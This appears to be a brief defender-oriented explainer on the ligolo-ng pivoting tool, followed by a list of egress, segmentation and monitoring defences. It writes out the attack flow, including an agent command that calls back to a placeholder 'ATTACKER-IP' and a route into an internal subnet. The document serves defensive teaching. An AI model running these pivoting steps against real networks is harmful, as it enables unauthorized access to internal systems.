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What is ligolo-ng?
ligolo-ng is an open-source pivoting tool that exposes a compromised network through a virtual 
TUN interface on the attacker’s machine. Instead of per-port forwards or wrapping every tool in 
proxychains, the attacker adds a route to the internal subnet and reaches it natively, as if directly 
connected. It runs an agent on the pivot and a proxy on the attacker side. Its ease and full-subnet 
access have made it a common modern alternative to SSH and chisel for pivoting.

H O W  I T  W O R K S

01 How it works and payload
The typical flow:

· Attacker starts the proxy and creates the tunnel 

interface: ligolo-ng proxy -selfcert then bring 

up the ligolo interface.

· Run the agent on the pivot, calling back: agent 
-connect ATTACKER-IP:11601

· In the proxy console, start the tunnel and add a 

route to the internal subnet: tunnel_start, then 

ip route add 10.10.0.0/24 dev ligolo.

· The attacker now reaches 10.10.0.0/24 directly 

with any tool, no proxychains.

Documented techniques shown for defenders.

N A T I V E  S U B N E T  A C C E S S

ligolo-ng’s appeal is the virtual interface: the internal 
subnet behaves like it is directly connected, so every tool 
works normally. That convenience is why it is widely 
used and why detecting the agent callback matters.

H O W  T O  D E F E N D

· Restrict egress so the pivot agent 

cannot call back to an external proxy.

· Segment so even a routed subnet 

exposes as little as possible.

· Monitor for the agent’s outbound 

connection and for one internal host 

originating traffic to many others.

· Use application allow-listing to stop a 

dropped agent binary from running.

· Inspect outbound traffic and unusual 

long-lived connections at egress points.
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